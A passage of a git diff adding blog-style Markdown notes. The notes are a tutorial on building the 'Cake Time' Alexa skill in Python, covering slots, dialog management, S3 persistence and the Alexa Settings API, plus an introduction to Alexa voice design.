Session End.""" + def can_handle(self, handler_input): + # type: (HandlerInput) -> bool + return ask_utils.is_request_type("SessionEndedRequest")(handler_input) + + def handle(self, handler_input): + # type: (HandlerInput) -> Response + + # Any cleanup logic goes here. + + return handler_input.response_builder.response + + +class IntentReflectorHandler(AbstractRequestHandler): + """The intent reflector is used for interaction model testing and debugging. + It will simply repeat the intent the user said. You can create custom handlers + for your intents by defining them above, then also adding them to the request + handler chain below. + """ + def can_handle(self, handler_input): + # type: (HandlerInput) -> bool + return ask_utils.is_request_type("IntentRequest")(handler_input) + + def handle(self, handler_input): + # type: (HandlerInput) -> Response + intent_name = ask_utils.get_intent_name(handler_input) + speak_output = "You just triggered " + intent_name + "." + + return ( + handler_input.response_builder + .speak(speak_output) + # .ask("add a reprompt if you want to keep the session open for the user to respond") + .response + ) + + +class CatchAllExceptionHandler(AbstractExceptionHandler): + """Generic error handling to capture any syntax or routing errors. If you receive an error + stating the request handler chain is not found, you have not implemented a handler for + the intent being invoked or included it in the skill builder below. + """ + def can_handle(self, handler_input, exception): + # type: (HandlerInput, Exception) -> bool + return True + + def handle(self, handler_input, exception): + # type: (HandlerInput, Exception) -> Response + logger.error(exception, exc_info=True) + + speak_output = "Sorry, I had trouble doing what you asked. Please try again." + + return ( + handler_input.response_builder + .speak(speak_output) + .ask(speak_output) + .response + ) + +# The SkillBuilder object acts as the entry point for your skill, routing all request and response +# payloads to the handlers above. Make sure any new handlers or interceptors you've +# defined are included below. The order matters - they're processed top to bottom. + + +sb = SkillBuilder() + +sb.add_request_handler(LaunchRequestHandler()) +sb.add_request_handler(HelloWorldIntentHandler()) +sb.add_request_handler(HelpIntentHandler()) +sb.add_request_handler(CancelOrStopIntentHandler()) +sb.add_request_handler(SessionEndedRequestHandler()) +sb.add_request_handler(IntentReflectorHandler()) # make sure IntentReflectorHandler is last so it doesn't override your custom intent handlers + +sb.add_exception_handler(CatchAllExceptionHandler()) + +lambda_handler = sb.lambda_handler() +``` + +--- + +## Collecting slots turn-by-turn with auto-delegation + +At the end of this module, your Cake Time skill will be able to: +- Ask the user a question +- Listen for the answer +- Respond to the user + +### Step 1: Ask the user for their birthday + +1. Code tab. + +2. Within the LaunchRequestHandler, in the handle() function, change `speak_output =`. + +3. `.ask() function` does two things: + - Tells the skill to wait for the user to reply, rather than simply exiting + - Allows you to specify a way to ask the question to the user again, if they don’t respond. `reprompt_text` + +4. replace `.ask(speak_output)` with `.ask(reprompt_text)` + +```py +class LaunchRequestHandler(AbstractRequestHandler): + """Handler for Skill Launch.""" + + def can_handle(self, handler_input): # type: (HandlerInput) -> bool + + return ask_utils.is_request_type("LaunchRequest")(handler_input) + + + + def handle(self, handler_input): # type: (HandlerInput) -> Response + + speak_output = "Aniyo! Welcome to red velevt Time. What is your birthday?" + reprompt_text = "I was born Aug. 1st, 2014. When are you born?" + + return ( + handler_input.response_builder + .speak(speak_output) + .ask(reprompt_text) + .response + ) +``` + + +### Step 2: Use an intent and slots to capture information + +1. Now make adjustments to the skill's front end. +2. need to create an `intent` that will `interpret how the user responds to Alexa's question`. + - When you name an intent, think about what the intent is going to do. + - In this case, the intent is going to capture the user's birthday, so name it `CaptureBirthdayIntent`. + - Notice the words are not separated by spaces, and each new word begins with an uppercase letter. + - **intent**: an action to fulfill a user's request. + - **utterance**: is what invokes the intent. + - In response to the birthday question, a user might say - "I was born on November seventh, nineteen eighty three." + - You will add this utterance to the CaptureBirthdayIntent by typing it in exactly the way the user is expected to say it. + +3. In the **Sample Utterances** field + - `I was born on November seventh nineteen eighty three` + - press ENTER or click the + icon + - When finished, the Cake Time skill will be able to capture any birthday. + +4. In the dialog box, click the field under Create a new slot, type the name of the slot without curly brackets (for example, month), and click Add. + - From this utterance + - there are three key pieces of information to collect: month, day, and year. `slots` + - need to let Alexa know which words are slots and what kind of slots they are. + - Start with the month slot. + - replace the word representing the month (November) with the word month in curly brackets `{ }`. + - This creates a slot called month. + - The utterance will then look like this: I was born on {month} seventh nineteen eighty three + - 2 ways to create a slot. + - 1. + - select the word in the sample utterance where the slot should go, + - type the name of the slot in curly brackets (for example, {month}). + - 2. + - select the word in the sample utterance and use the Select an Existing Slot dialog box when it appears. + - `I was born on {month} {day} {year}` + - `{month} {day} {year}` if the user omits the words I was born on + +![Screen Shot 2020-07-16 at 14.28.15](https://i.imgur.com/sQzbfah.png) + +5. Now define exactly what those slots are by assigning a `slot type` to each `slot`: `Intent Slots` + - Slots are assigned from the `Slot Type` + - 2 types of slot types: `custom` and `built-in`. + - Wherever possible, use built-in slots. Alexa manages the definitions of built-in slots. + - If an applicable built-in slot does not exist, create a custom slot and define the values it represents. + +![Screen Shot 2020-07-16 at 14.31.49](https://i.imgur.com/QRofGSq.png) + +6. Save Model. + + +### Step 3: Use dialog management + +Slots can be `required` or `optional`. +- if you need a given value from the user, you can designate a slot as `required` using dialog management. + - Marking a slot as required triggers Alexa to actively work to fill it. Start by making each of the slots required. + +1. Click on “CaptureBirthdayIntent” on the left nav bar. +2. In the Intent Slots section, to the right of the month slot, click `Edit Dialog`. +3. Under Slot Filling, toggle to make the slot required: mark `Is this slot required to fulfill the intent?` +4. The **Alexa speech prompts** field: + - enter text for Alexa to say if the user fails to provide a value for the month slot. + - `What month were you born in?` +5. Repeat the process for the `day` and `year` slots. + - if a user responds, "July nineteen eighty two," + - Alexa recognizes that the month and year slots are filled, but the day slot is not. + - Alexa will prompt the user for each unfilled slot. In this example, Alexa would ask, "What day were you born?" + + - One of the great things about `dialog management` + - the skill doesn't break or get confused if the user leaves out a piece of information or provides it out of the expected order. + - Instead, Alexa takes on the responsibility of collecting information designated as required to ensure a useful experience. + - You have built an `intent` that listens for the user's answer to the birthday question. + - When the user responds, Alexa collects the user's birthday month, day, and year. + - This information will be sent to the skill's **backend code** in a `JSON request`. + +6. Delete the `HelloWorldIntent` intent + +7. other intents (such as AMAZON.HelpIntent) were automatically added to your skill. + - These are required for every skill and provide the user a means to cancel, stop, and get help. + - Do not remove these. + +8. Save Model. + +9. Build Model. + + +### Step 4: Define a new handler + +1. To make the Cake Time skill respond, you need to update the backend. +2. Code tab. +3. change `HelloWorldIntent` to `CaptureBirthdayIntent` +4. `canHandle() function` will be invoked when a `CaptureBirthdayIntent` request comes through. +5. creating three variables in the handler to save the slots the skill is collecting. +6. update the speak_output: `'Thanks, I will remember that you were born {month} {day} {year}.'.format(month=month, day=day, year=year)` + +```py +class CaptureBirthdayIntentHandler(AbstractRequestHandler): + """Handler for Hello World Intent.""" + def can_handle(self, handler_input): + # type: (HandlerInput) -> bool + return ask_utils.is_intent_name("CaptureBirthdayIntent")(handler_input) + + def handle(self, handler_input): + # type: (HandlerInput) -> Response + slots = handler_input.request_envelope.request.intent.slots + year = slots["year"].value + month = slots["month"].value + day = slots["day"].value + + speak_output = 'Thanks, I will remember that you were born {month} {day} {year}.'.format(month=month, day=day, year=year) + + return ( + handler_input.response_builder + .speak(speak_output) + # .ask("add a reprompt if you want to keep the session open for the user to respond") + .response + ) +``` + +7. Scroll down in the code until you find the line that begins `sb = SkillBuilder()`. + - Replace the HelloWorld with CaptureBirthday + +```py +import logging +import ask_sdk_core.utils as ask_utils + +from ask_sdk_core.skill_builder import SkillBuilder +from ask_sdk_core.dispatch_components import AbstractRequestHandler +from ask_sdk_core.dispatch_components import AbstractExceptionHandler +from ask_sdk_core.handler_input import HandlerInput + +from ask_sdk_model import Response + +logger = logging.getLogger(__name__) +logger.setLevel(logging.INFO) + +# ...... + +sb = SkillBuilder() + +sb.add_request_handler(LaunchRequestHandler()) +sb.add_request_handler(CaptureBirthdayIntentHandler()) +sb.add_request_handler(HelpIntentHandler()) +sb.add_request_handler(CancelOrStopIntentHandler()) +sb.add_request_handler(SessionEndedRequestHandler()) +sb.add_request_handler(IntentReflectorHandler()) # make sure IntentReflectorHandler is last so it doesn't override your custom intent handlers + +sb.add_exception_handler(CatchAllExceptionHandler()) + +lambda_handler = sb.lambda_handler() +``` + +8. Click Save. +9. Click Deploy. Because of the new handler, your skill will take a few moments to deploy. + + +### Step 5: Test your skill + +The Redvelvet Time Time skill should now be able to do the following: +- Ask the user for their birthday +- Listen to the answer from the user and automatically follow up with questions if any required slots (month, day, year) are missing +- Respond to the user by repeating their birthday Let's test the skill. + + +1. Click the Test tab. +2. Test your skill by opening Cake Time and responding when Alexa asks for your birthday. + + +### Wrap-up + +![Screen Shot 2020-07-16 at 16.40.25](https://i.imgur.com/vsSyTwV.png) + + +--- + + +## Adding memory to skill + +enable the Cake Time skill to remember the user’s birthday. + +### Step 1: Use Amazon S3 to save and read data + +- you have the birthday, month, and year within the code. + - but the skill forgets these values when the code finishes running. + - save the values to Amazon S3 + - so the skill can read them from session to session. + +- The SDK provides mechanism for saving information across sessions: the `AttributesManager` + - Withhe manager, your read/write code can remain the same, even if you change where you save your data later. + + - The `backend code` for Alexa skills can live on any `HTTPS server`. + - Most of the time, Alexa developers write and host their backend code using AWS. + - writing code in the developer console using an **Alexa-hosted skill**. + - That code is running on the AWS Free Tier, which has limitations. + - great for learning and publish simple skills. + - When using an Alexa-hosted skill for backend code, it will be stored in `Amazon S3`. + - if skill becomes popular, consider your own AWS **resources**. + - If build code on your own AWS resources, it may use `Amazon DynamoDB`. + - it will only require minor changes to work with DynamoDB if you decide to migrate to your own AWS resources later + +1. use `AttributesManager` to save the user’s birthday in Cake Time. + - Code tab. + - requirements.txt file + - add a requirement. import the dependency for the S3 adapter. + - `ask-sdk-s3-persistence-adapter` + - Click Save. + +2. lambda_function.py tab + - The new dependency allows to use the `AttributesManager` to save and read user data using `Amazon S3`. + + - import that dependency to the code. + - find the line begins `import ask_sdk_core.utils as ask_utils`. + - Create a new line just below it, and copy and paste in the following code: + +```py +import os +from ask_sdk_s3.adapter import S3Adapter +s3_adapter = S3Adapter(bucket_name=os.environ["S3_PERSISTENCE_BUCKET"]) +``` + + - find the line that begins `from ask_sdk_core.skill_builder import SkillBuilder`. + - Replace this line with the following code: + - `from ask_sdk_core.skill_builder import CustomSkillBuilder` + - This will import the `S3 Persistence adapter`, + - create your S3 adapter and set you up with a bucket on S3 to store your data. + - Once done, this section of code should look like: + + - find the line that begins `sb = SkillBuilder()`. + - Replace this line with the following code: + - `sb = CustomSkillBuilder(persistence_adapter=s3_adapter)` + + +3. Click Save. + +```py +import logging +import ask_sdk_core.utils as ask_utils + + +import os +from ask_sdk_s3.adapter import S3Adapter +s3_adapter = S3Adapter(bucket_name=os.environ["S3_PERSISTENCE_BUCKET"]) + +from ask_sdk_core.skill_builder import CustomSkillBuilder +from ask_sdk_core.dispatch_components import AbstractRequestHandler +from ask_sdk_core.dispatch_components import AbstractExceptionHandler +from ask_sdk_core.handler_input import HandlerInput + +from ask_sdk_model import Response + +logger = logging.getLogger(__name__) +logger.setLevel(logging.INFO) + +#..... + +sb = CustomSkillBuilder(persistence_adapter=s3_adapter) +``` + +You are now set up to use `AttributesManager` to save and read data to Amazon S3. + +Later, if you decide to move your skill’s backend code to your own AWS resources, you will reverse the changes made in this step. + + +### Step 2: Save Data + +1. Now modify the code to save the user’s birthday. + +2. lambda_function.py file, + - find the `CaptureBirthdayIntentHandler`. use the `AttributesManager` to save the user’s birthday. + - create a new line `attributes_manager = handler_input.attributes_manager` + - The Cake Time skill code receives the year, month, and day. + - You need to tell Amazon S3 to save these values. + - The code tells the AttributesManager what the data is, and the manager sends it to Amazon S3. + +3. Within the `CaptureBirthdayIntentHandler` + - mapping `the variables already declared in the code` to corresponding` variables that will be created in Amazon S3` when the code runs. + - `birthday_attributes = { }` + + +4. `attributes_manager.persistent_attributes = birthday_attributes` + - These variables are now declared as persistent (they are local to the function in which they are declared, yet their values are retained in memory between calls to the function). + - Now you save the user’s data to them. + - First, use the AttributesManager to set the data to save to Amazon S3. + +5. `attributes_manager.save_persistent_attributes()` + +6. Click Save. + +7. `CaptureBirthdayIntentHandler` should now look like: + +```py +class CaptureBirthdayIntentHandler(AbstractRequestHandler): + """Handler for Hello World Intent.""" + def can_handle(self, handler_input): + # type: (HandlerInput) -> bool + return ask_utils.is_intent_name("CaptureBirthdayIntent")(handler_input) + + def handle(self, handler_input): + # type: (HandlerInput) -> Response + slots = handler_input.request_envelope.request.intent.slots + year = slots["year"].value + month = slots["month"].value + day = slots["day"].value + + attributes_manager = handler_input.attributes_manager + + birthday_attributes = { + "year": year, + "month": month, + "day": day + } + + attributes_manager.persistent_attributes = birthday_attributes + attributes_manager.save_persistent_attributes() + + speak_output = 'Thanks, I will remember that you were born {month} {day} {year}.’.format(month=month, day=day, year=year) + + return ( + handler_input.response_builder + .speak(speak_output) + # .ask("add a reprompt if you want to keep the session open for the user to respond") + .response + ) +``` + + +### Step 3: Read stored data + +- now the user’s birthday is saved to Amazon S3. +- However, now the `skill needs to be updated` + - so the next time the user opens Cake Time, the skill knows the user’s birthday information is stored and doesn’t have to ask for it. + +- To do this, +- `modify the code to read the data stored in Amazon S3` before asking the user for their birthday. + - If the data exists, the skill doesn’t need to ask for it. + - If the data isn’t there, it will ask for the information. + +- An `Amazon S3 bucket` is a public cloud storage resource. + - A bucket is similar to a file folder for storing objects, consists of data and descriptive metadata. + +- A `new handler` is needed to read the stored data. + - The canHandle() and handle() functions in the new handler will communicate with Amazon S3. + - You will add it between the `LaunchRequestHandler` and the `CaptureBirthdayIntentHandler`. + + +```py +class HasBirthdayLaunchRequestHandler(AbstractRequestHandler): + """Handler for launch after they have set their birthday""" + + def can_handle(self, handler_input): + # extract persistent attributes and check if they are all present + attr = handler_input.attributes_manager.persistent_attributes + attributes_are_present = ("year" in attr and "month" in attr and "day" in attr) + + return attributes_are_present and ask_utils.is_request_type("LaunchRequest")(handler_input) + + + def handle(self, handler_input): + attr = handler_input.attributes_manager.persistent_attributes + year = attr['year'] + month = attr['month'] # month is a string, and we need to convert it to a month index later + day = attr['day'] + + # TODO:: Use the settings API to get current date and then compute how many days until user’s bday + # TODO:: Say happy birthday on the user’s birthday + + speak_output = "Welcome back it looks like there are X more days until your y-th birthday." + + handler_input.response_builder.speak(speak_output) + + return handler_input.response_builder.response +``` +1. Find the line that begins CaptureBirthdayIntentHandler. Create new code. + - The new handler has the canHandle() and handle() functions. + - The canHandle() function checks if the user's birthday information is saved in Amazon S3. + - If it is, the handler lets the SDK know it can do the work (it has the user's birthday information and can do what comes next). + - The handle() function tells Alexa to say, "Welcome back. It looks like there are x more days until your y-th birthday." + +2. When changed the name of a handler in a previous section, also had to change the name in the list of handlers at the bottom of the code. + + +3. added a new handler, you must add the new handler to this list. + - Toward the bottom of the code, find the line that begins with sb.add_request_handler(LaunchRequestHandler()), Create a new line just above it. + - `sb.add_request_handler(HasBirthdayLaunchRequestHandler())` + +4. Click Save. + +5. Click Deploy. + +That section of code: + +```py +sb.add_request_handler(HasBirthdayLaunchRequestHandler()) +sb.add_request_handler(LaunchRequestHandler()) +sb.add_request_handler(CaptureBirthdayIntentHandler()) +sb.add_request_handler(HelpIntentHandler()) +sb.add_request_handler(CancelOrStopIntentHandler()) +sb.add_request_handler(SessionEndedRequestHandler()) +sb.add_request_handler(IntentReflectorHandler()) # make sure IntentReflectorHandler is last so it doesn’t override your custom intent handlers + +sb.add_exception_handler(CatchAllExceptionHandler()) + +lambda_handler = sb.lambda_handler() +``` + + +### How to delete or reset the user’s birthday + +- When testing, you may need to delete or reset the user’s birthday. There are two ways to do this. + 1. **Test tab**, Type or say, "Alexa, tell Cake Time I was born on {month} {day} {year}." + 2. delete the saved information from Amazon S3: + - **Code tab** + - click **Media storage** on the bottom left-hand corner of the screen. + - The S3 Management Console opens. + - Click the breadcrumb that starts `amzn-1-ask-skill`. + - Click on the check box next to the file(s) that begins with `amzn1.ask.account`. + - Delete. + - The user’s birthday is deleted. + +### test, so click the Test tab, then follow the steps below. + +1. Launch the skill first time + - Say “open redvelvet time” + - Alexa should respond, “Hello! This is Cake Time. When is your birthday?” + - Tell Alexa your birthday + - Once the skill has your birth month, day, and year, it should respond, “Thanks, I’ll remember that your birthday is {month} {day} {year}.” + - The session ends. At this point, without the code you added in this section, the next time you invoke the skill, the skill would ask for your birthday again. Now, the skill stores this information. + +2. Launch the skill a second time + - Say “open redvelvet time” + - Alexa should respond, “Welcome back. It looks like there are X more days until your y-th birthday.” + - You probably noticed that, with the way the code works right now, Alexa is saying “X” and “Y T H”. Don’t worry. In the next section, you will work on the code to calculate how many days until the user’s next birthday so Alexa can respond with that information. + + +## Using the Alexa Settings API + +- enable the Cake Time skill to calculate the number of days until the user’s next birthday. + - To calculate the number of days until the user’s next birthday accurately, we need additional information, like current date, and user’s time zone. + - can use the Alexa Settings API to get this information. + - To do that, need to pass the following information to the Alexa Settings API: + - Device ID + - URL for the Alexa Settings API (API Endpoint) + - Authorization token (Access Token) + - Import supporting libraries (We will do this in Step 3) + +### Step 1: Get Device ID, API endpoint, and Authorization Token for Alexa Settings API +### Step 2: Using the Alexa Settings API to retrieve the user time zone + +requirements.txt: + +```py +boto3==1.9.216 +ask-sdk-core==1.11.0 +ask-sdk-s3-persistence-adapter +pytz +# The pytz library allows accurate and cross platform timezone calculations, and will help us figure out the user's timezone accurately. +``` + + +```py +# -*- coding: utf-8 -*- + +# This sample demonstrates handling intents from an Alexa skill using the Alexa Skills Kit SDK for Python. +# Please visit https://alexa.design/cookbook for additional examples on implementing slots, dialog management, +# session persistence, api calls, and more. +# This sample is built using the handler classes approach in skill builder. +import logging +import ask_sdk_core.utils as ask_utils +import os +import requests +import calendar +from datetime import datetime +from pytz import timezone +from ask_sdk_s3.adapter import S3Adapter +s3_adapter = S3Adapter(bucket_name=os.environ["S3_PERSISTENCE_BUCKET"]) + +from ask_sdk_core.skill_builder import CustomSkillBuilder +from ask_sdk_core.dispatch_components import AbstractRequestHandler +from ask_sdk_core.dispatch_components import AbstractExceptionHandler +from ask_sdk_core.handler_input import HandlerInput + +from ask_sdk_model import Response + +logger = logging.getLogger(__name__) +logger.setLevel(logging.INFO) + + +class LaunchRequestHandler(AbstractRequestHandler): + """Handler for Skill Launch.""" + def can_handle(self, handler_input): + # type: (HandlerInput) -> bool + + return ask_utils.is_request_type("LaunchRequest")(handler_input) + + def handle(self, handler_input): + # type: (HandlerInput) -> Response + speak_output = "Hello! This is Cake Time. What is your birthday?" + reprompt_text = "I was born Nov. 6th, 2015. When are you born?" + + return ( + handler_input.response_builder + .speak(speak_output) + .ask(reprompt_text) + .response + ) + +class HasBirthdayLaunchRequestHandler(AbstractRequestHandler): + """Handler for launch after they have set their birthday""" + + def can_handle(self, handler_input): + # extract persistent attributes and check if they are all present + attr = handler_input.attributes_manager.persistent_attributes + attributes_are_present = ("year" in attr and "month" in attr and "day" in attr) + + return attributes_are_present and ask_utils.is_request_type("LaunchRequest")(handler_input) + + def handle(self, handler_input): + attr = handler_input.attributes_manager.persistent_attributes + year = int(attr['year']) + month = attr['month'] # month is a string, and we need to convert it to a month index later + day = int(attr['day']) + + # get device id + sys_object = handler_input.request_envelope.context.system + device_id = sys_object.device.device_id + + # get Alexa Settings API information + api_endpoint = sys_object.api_endpoint + api_access_token = sys_object.api_access_token + + # construct systems api timezone url + url = '{api_endpoint}/v2/devices/{device_id}/settings/System.timeZone'.format(api_endpoint=api_endpoint, device_id=device_id) + headers = {'Authorization': 'Bearer ' + api_access_token} + + userTimeZone = "" + try: + r = requests.get(url, headers=headers) + res = r.json() + logger.info("Device API result: {}".format(str(res))) + userTimeZone = res + except Exception: + handler_input.response_builder.speak("There was a problem connecting to the service") + return handler_input.response_builder.response + + # getting the current date with the time + now_time = datetime.now(timezone(userTimeZone)) + + # Removing the time from the date because it affects our difference calculation + now_date = datetime(now_time.year, now_time.month, now_time.day) + current_year = now_time.year + + # getting the next birthday + month_as_index = list(calendar.month_abbr).index(month[:3].title()) + next_birthday = datetime(current_year, month_as_index, day) + + # check if we need to adjust bday by one year + if now_date > next_birthday: + next_birthday = datetime( + current_year + 1, + month_as_index, + day + ) + current_year += 1 + # setting the default speak_output to Happy xth Birthday!! + # alexa will automatically correct the ordinal for you. + # no need to worry about when to use st, th, rd + speak_output = "Happy {}th birthday!".format(str(current_year - year)) + if now_date != next_birthday: + diff_days = abs((now_date - next_birthday).days) + speak_output = "Welcome back. It looks like there are \ + {days} days until your {birthday_num}th\ + birthday".format( + days=diff_days, + birthday_num=(current_year-year) + ) + + handler_input.response_builder.speak(speak_output) + + return handler_input.response_builder.response + +class CaptureBirthdayIntentHandler(AbstractRequestHandler): + """Handler for Hello World Intent.""" + def can_handle(self, handler_input): + # type: (HandlerInput) -> bool + return ask_utils.is_intent_name("CaptureBirthdayIntent")(handler_input) + + def handle(self, handler_input): + # type: (HandlerInput) -> Response + slots = handler_input.request_envelope.request.intent.slots + year = slots["year"].value + month = slots["month"].value + day = slots["day"].value + + attributes_manager = handler_input.attributes_manager + + birthday_attributes = { + "year": year, + "month": month, + "day": day + } + + attributes_manager.persistent_attributes = birthday_attributes + attributes_manager.save_persistent_attributes() + + speak_output = 'Thanks, I will remember that you were born {month} {day} {year}.'.format(month=month, day=day, year=year) + + return ( + handler_input.response_builder + .speak(speak_output) + # .ask("add a reprompt if you want to keep the session open for the user to respond") + .response + ) + + +class HelpIntentHandler(AbstractRequestHandler): + """Handler for Help Intent.""" + def can_handle(self, handler_input): + # type: (HandlerInput) -> bool + return ask_utils.is_intent_name("AMAZON.HelpIntent")(handler_input) + + def handle(self, handler_input): + # type: (HandlerInput) -> Response + speak_output = "You can say hello to me! How can I help?" + + return ( + handler_input.response_builder + .speak(speak_output) + .ask(speak_output) + .response + ) + + +class CancelOrStopIntentHandler(AbstractRequestHandler): + """Single handler for Cancel and Stop Intent.""" + def can_handle(self, handler_input): + # type: (HandlerInput) -> bool + return (ask_utils.is_intent_name("AMAZON.CancelIntent")(handler_input) or + ask_utils.is_intent_name("AMAZON.StopIntent")(handler_input)) + + def handle(self, handler_input): + # type: (HandlerInput) -> Response + speak_output = "Goodbye!" + + return ( + handler_input.response_builder + .speak(speak_output) + .response + ) + + +class SessionEndedRequestHandler(AbstractRequestHandler): + """Handler for Session End.""" + def can_handle(self, handler_input): + # type: (HandlerInput) -> bool + return ask_utils.is_request_type("SessionEndedRequest")(handler_input) + + def handle(self, handler_input): + # type: (HandlerInput) -> Response + + # Any cleanup logic goes here. + + return handler_input.response_builder.response + + +class IntentReflectorHandler(AbstractRequestHandler): + """The intent reflector is used for interaction model testing and debugging. + It will simply repeat the intent the user said. You can create custom handlers + for your intents by defining them above, then also adding them to the request + handler chain below. + """ + def can_handle(self, handler_input): + # type: (HandlerInput) -> bool + return ask_utils.is_request_type("IntentRequest")(handler_input) + + def handle(self, handler_input): + # type: (HandlerInput) -> Response + intent_name = ask_utils.get_intent_name(handler_input) + speak_output = "You just triggered " + intent_name + "." + + return ( + handler_input.response_builder + .speak(speak_output) + # .ask("add a reprompt if you want to keep the session open for the user to respond") + .response + ) + + +class CatchAllExceptionHandler(AbstractExceptionHandler): + """Generic error handling to capture any syntax or routing errors. If you receive an error + stating the request handler chain is not found, you have not implemented a handler for + the intent being invoked or included it in the skill builder below. + """ + def can_handle(self, handler_input, exception): + # type: (HandlerInput, Exception) -> bool + return True + + def handle(self, handler_input, exception): + # type: (HandlerInput, Exception) -> Response + logger.error(exception, exc_info=True) + + speak_output = "Sorry, I had trouble doing what you asked. Please try again." + + return ( + handler_input.response_builder + .speak(speak_output) + .ask(speak_output) + .response + ) + +# The SkillBuilder object acts as the entry point for your skill, routing all request and response +# payloads to the handlers above. Make sure any new handlers or interceptors you've +# defined are included below. The order matters - they're processed top to bottom. + + +sb = CustomSkillBuilder(persistence_adapter=s3_adapter) + +sb.add_request_handler(HasBirthdayLaunchRequestHandler()) +sb.add_request_handler(LaunchRequestHandler()) +sb.add_request_handler(CaptureBirthdayIntentHandler()) +sb.add_request_handler(HelpIntentHandler()) +sb.add_request_handler(CancelOrStopIntentHandler()) +sb.add_request_handler(SessionEndedRequestHandler()) +sb.add_request_handler(IntentReflectorHandler()) # make sure IntentReflectorHandler is last so it doesn't override your custom intent handlers + +sb.add_exception_handler(CatchAllExceptionHandler()) + +lambda_handler = sb.lambda_handler() +``` + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/Alex/2020-07-16-AlexaBasic.md b/_posts/01Cloud/01AWS/Alex/2020-07-16-AlexaBasic.md new file mode 100644 index 00000000000..da77830e633 --- /dev/null +++ b/_posts/01Cloud/01AWS/Alex/2020-07-16-AlexaBasic.md @@ -0,0 +1,401 @@ +--- +title: AWS Alex +date: 2020-07-16 11:11:11 -0400 +categories: [01AWS, Alexa] +tags: [AWS, Lab, Alexa] +math: true +image: +--- + + +# Alexa Basic + +- [Alexa Basic](#alexa-basic) + - [Module 1: Why Build Alexa Skills](#module-1-why-build-alexa-skills) + - [Skill](#skill) + - [resources](#resources) + - [Pre-Built Model](#pre-built-model) + - [Alexa workflow](#alexa-workflow) + - [Steps to Build a Skill?](#steps-to-build-a-skill) + - [Requirements to build a skill for this tutorial](#requirements-to-build-a-skill-for-this-tutorial) +- [Module 2: Design an Engaging Voice User Interface](#module-2-design-an-engaging-voice-user-interface) + - [How Users Interact With Alexa](#how-users-interact-with-alexa) + - [Voice Design Concepts: Utterances, Intents, and Slots](#voice-design-concepts-utterances-intents-and-slots) + - [Key Concepts: Interaction Model and Situational Design](#key-concepts-interaction-model-and-situational-design) + - [Interaction model](#interaction-model) + - [Voice design](#voice-design) + - [Situational Design](#situational-design) + - [Characteristics of a Well-Designed Voice User Interface](#characteristics-of-a-well-designed-voice-user-interface) + - [Key Challenges of Voice Design](#key-challenges-of-voice-design) + - [Five Best Practices for Voice Design](#five-best-practices-for-voice-design) + + +--- + +## Module 1: Why Build Alexa Skills + +**Ease of access** +- VUIs are natural, conversational, and user-centric. +- A great voice experience allows for the many ways people express meaning and intent. It is rich and flexible. Because of this, building for voice isn’t the same as building graphical user interfaces (GUIs) for the web or mobile. +- The easier a skill is to use, the more speed and efficiency it offers. + +**Speed and efficiency** +- bring speed and efficiency to mundane or habitual tasks—which is why voice is poised to become ubiquitous. +- Consider the kitchen timer. With Alexa, setting a timer is as easy as saying, “Alexa, set timer for 10 minutes.” Who would have guessed pushing a few buttons on the microwave would become the less convenient option? + +**Skill monetization** + +--- + +## Skill + +![{2B8EB6C6-B204-4BFB-8B9F-CF8629D642A1}.png](https://i.imgur.com/75pd1Qf.jpg) + +The `Alexa Skills Kit` offers pre-built interaction models which include predefined requests and utterances to help you start building quickly. + +As the skill builder, you: +- Define the requests the skill can handle +- Define the name Alexa uses to identify your skill, called the invocation name, which you will learn more about in the next module +- Write the code to fulfill the request + +![{C3A31028-3BC7-41EB-A705-55851A23BF56}.png](https://i.imgur.com/4fbgG1e.jpg) + + +--- + +## resources + +[alex/skill-sample-nodejs-fact](https://github.com/alexa/skill-sample-nodejs-fact/tree/master/models) + +--- + +## Pre-Built Model + +**Smart Home Skills** +- This type of skill controls smart home devices such as cameras, lights, locks, thermostats, and smart TVs. +- The Smart Home Skill API gives you less control over a user's experience but simplifies development because you don't need to create the VUI yourself. + +**Flash Briefing Skills** +- Use the Flash Briefing Skill API to provide your customers with news headlines and other short content. +- As the skill developer, you define the content feeds for the requested flash briefing. These feeds can contain audio content played to the user or text content read to the user. + +**Video Skills** +- Use the Video Skill API to provide video content such as TV shows and movies for users. +- As the skill developer, you define the requests the skill can handle, such as searching for and playing video content, and how video content search results display on Alexa-enabled devices. + +**Music Skills** +- Use the Music Skill API to provide audio content such as songs, playlists, or radio stations for users. +- This API handles the words a user can say to request and control audio content. These spoken words turn into requests that are sent to your skill. Your skill handles these requests and responds appropriately, sending back audio content for the user on an Alexa-enabled device + +--- + +## Alexa workflow + +The following is a simple workflow that demonstrates how Alexa works. + +- In this example, the user invokes a simple Alexa skill called Hello World. + +1. To launch the skill, the user says, "Alexa, open Hello World." +2. Alexa hears the wake word and listens. +3. The Alexa-enabled device sends the `utterance` to the Alexa service in cloud. There, the utterance is processed via automatic speech recognition, for conversion to text, and natural language understanding to recognize the intent of the text. +4. Alexa sends a `JavaScript Object Notation (JSON) request` to handle the intent to an `AWS Lambda function` in the cloud. +5. The Lambda function acts as the backend and executes code to handle the intent. In this case, the Lambda function returns, "Welcome to the Hello World skill." + - The lambda function inspects the JSON request. + - The lambda function determines how to respond. + - The lambda function sends a `JSON response` to the Alexa service. +6. The Alexa service receives the JSON response and converts the output text to an audio file. +7. The Alexa-enabled device receives and plays the audio. +8. user interacts with an Alexa skill. It assumes you are using AWS Lambda, serverless cloud computing, to host your skill code. + +![chapter1-2-how-diagram](https://i.imgur.com/PVi6FVY.png) + +--- + +## Steps to Build a Skill? + +1. Design the Voice User Interface `VUI` + - designing the `voice interaction model` of skill. + - Once you start designing, you will quickly understand that designing for voice is different than designing mobile or web-based apps. + - You need to think about all the different ways a user might interact with your voice skill. + - To provide a fluid and natural voice experience, it is important to script and then act out the different ways a user might talk to Alexa. + - Also, if you have a multi-modal experience (voice and visual), you need to think of different workflows to navigate through your skill. + +2. Build + + - **interaction model** + - determines the requests a skill can handle. + - certain words are required to invoke the request. + - **custom model** + - **pre-built model** + - The interaction model is saved in `JSON format`, can be edit with any edit tool. + + - **Invocation name** + - user: `Alexa, invocation name` + - ![{0E74844A-5884-421C-86C7-852FAA7827C1}.png](https://i.imgur.com/Qjkng5a.jpg) + - can change it at anytime + - but not after skill is certified and published. + - need to be able with for below. + - 3 ways to invoke your skill + - with a specific request: `alexa, ask/do request` + - with invocation name: `alexa, xx` + - with generic defined phrase: `alexa, open/run xx` + + - build the `utterances, intents, and slots` in the Alexa developer console. + - **utterances**: + - be flex. + - more better the few. + - add `can you, plz, will you` + - **intents**: + - the requests the skill can handle. + - **slot**: + + - After your JSON interaction model is ready, build the backend 